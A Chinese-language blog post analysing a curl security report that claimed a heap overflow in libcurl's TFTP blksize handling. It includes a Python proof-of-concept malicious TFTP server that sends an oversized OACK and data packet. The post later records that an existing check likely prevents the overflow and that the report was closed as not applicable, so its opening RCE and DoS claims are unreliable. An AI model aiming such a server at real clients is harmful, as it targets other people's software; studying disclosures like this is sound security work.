libcurl TFTP 堆缓冲区溢出漏洞深度解析

本文详细分析了在libcurl的TFTP实现中发现的一个堆缓冲区溢出漏洞。当恶意TFTP服务器发送包含大块大小选项的OACK数据包时,客户端因未重新分配缓冲区而导致内存越界,可能引发远程代码执行或拒绝服务攻击。

堆缓冲区溢出漏洞报告 #3444904:libcurl TFTP 实现中的安全风险

摘要

一份提交给curl安全团队的漏洞报告披露,在libcurl的TFTP(简单文件传输协议)实现中存在一个堆缓冲区溢出漏洞。该漏洞在恶意TFTP服务器发送包含**blksize选项值大于默认块大小(512字节)的OACK(选项确认)数据包时被触发**。libcurl会更新其内部块大小变量,但未能重新分配接收和发送缓冲区(rpacketspacket)。当应用程序随后使用更大的块大小接收或发送数据时,会导致写入超出已分配缓冲区的末尾,引发堆缓冲区溢出

漏洞详情

受影响版本

  • curl 8.18.0-DEV(基于 include/curl/curlver.h 中的 LIBCURL_VERSION
  • 平台:Windows(已复现)

漏洞原理

漏洞位于 lib/tftp.c 文件的 tftp_parse_option_ack 函数中。该函数在解析来自服务器的OACK数据包时,如果其中指定的 blksize 选项值大于默认值,libcurl会更新内部状态变量 state->blksize,但没有相应地重新分配 state->spacket.datastate->rpacket.data 缓冲区。随后,在 tftp_rx(接收数据)或 tftp_tx(发送数据)函数中,使用这个新的、更大的块大小进行操作时,就会发生缓冲区溢出。

复现步骤

  1. 将提供的复现脚本保存为 tftp_repro.py
  2. 运行脚本以在端口6969上启动一个恶意的TFTP服务器:python tftp_repro.py
  3. 在另一个终端中,使用curl命令从该服务器获取文件:curl tftp://localhost:6969/test。(注意:需确保使用的curl构建版本包含此漏洞代码。系统自带的curl可能不受此漏洞影响或版本不同)。
  4. 服务器将发送一个 blksize=2048 的OACK数据包,然后是一个2048字节的DATA数据包。
  5. curl客户端将因堆溢出而崩溃或表现出未定义行为。

复现脚本

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import socket
import struct

PORT = 6969
blksz = 2048

def start_server():
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    sock.bind(('0.0.0.0', PORT))
    print(f" server started on port {PORT}")
    while True:
        data, addr = sock.recvfrom(1024)
        print(addr)
        opcode = struct.unpack('!H', data[:2])[0]

        if opcode == 1 or opcode == 2:
            print("Sending oack")
            oack = struct.pack('!H', 6) + b'blksize\0' + str(blksz).encode() + b'\0'
            sock.sendto(oack, addr)
            if opcode == 1:
                print("sending data packet")
                payload = b'A' * blksz
                data_pkt = struct.pack('!HH', 3, 1) + payload
                sock.sendto(data_pkt, addr)

if __name__ == "__main__":
    start_server()

影响与风险

潜在影响

该漏洞允许恶意TFTP服务器在客户端引发堆缓冲区溢出,可能导致严重后果:

  1. 远程代码执行:通过精心构造DATA数据包中的有效载荷,攻击者可能覆盖关键的堆元数据或函数指针,从而在受害者机器上以curl进程的权限执行任意代码
  2. 拒绝服务:溢出可能破坏内存结构,导致curl应用程序崩溃或行为不可预测,从而引发拒绝服务。

漏洞修正与后续

报告提交后,漏洞发现者(helspy)在跟进审查时注意到,在 tftp_parse_option_ack 函数中存在以下代码检查:

1
2
3
4
if(blksize > state->requested_blksize) {
    failf(data, "server requested blksize larger than allocated");
    return CURLE_TFTP_ILLEGAL;
}

此检查会强制客户端使用不大于最初分配的块大小,因此实际上可能防止了堆溢出的发生。发现者承认在编写报告时并行尝试复现(提交过早)是个错误。

基于此,curl项目维护者(bagder)将报告状态更改为 “不适用” ,认为其不构成一个安全问题。但根据项目的透明政策,该报告仍被公开披露。

报告时间线

  • 2025年11月29日,17:06 UTC:由helspy提交报告。
  • 约一小时内:curl团队确认收到并开始调查。
  • 次日:发现者补充复现脚本并修正判断。
  • 2025年12月1日,07:41 UTC:报告被公开披露。
  • 状态:不适用(Not Applicable)
  • CVE ID:无
  • 漏洞赏金:无

此案例展示了即使是最初看起来严重的漏洞报告,也需要通过严谨的代码审查和复现来最终确定其实际影响。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计